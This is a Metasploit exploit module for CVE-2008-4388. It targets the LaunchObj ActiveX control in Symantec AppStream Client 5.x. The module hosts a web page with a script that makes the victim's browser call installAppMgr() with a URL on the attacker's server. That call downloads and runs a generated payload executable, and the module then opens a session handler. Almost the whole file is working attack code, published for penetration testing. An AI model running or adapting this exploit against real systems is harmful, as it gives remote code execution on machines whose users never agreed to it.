/
symantec_appstream_unsafe.rb
84 lines (69 loc) · 2.38 KB
/
symantec_appstream_unsafe.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute',
'Description' => %q{
This module exploits a vulnerability in Symantec AppStream Client 5.x. The vulnerability
is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the "installAppMgr()"
method. The insecure method can be exploited to download and execute arbitrary files in the
context of the currently logged-on user.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'References' =>
[
[ 'CVE', '2008-4388' ],
[ 'OSVDB', '51410' ],
],
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => '2009-01-15',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_exe({ :code => p.encoded })
print_status("Sending payload EXE")
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
vname = rand_text_alpha(rand(100) + 1)
exe = rand_text_alpha(rand(5) + 1 )
content = %Q|
<html>
<object id='#{vname}' classid='clsid:3356DB7C-58A7-11D4-AA5C-006097314BF8'></object>
<script language="javascript">
#{vname}.installAppMgr("#{payload_url}/#{exe}.exe");
</script>
</html>
|
print_status("Sending #{self.name}")
send_response_html(cli, content)
handler(cli)
end
end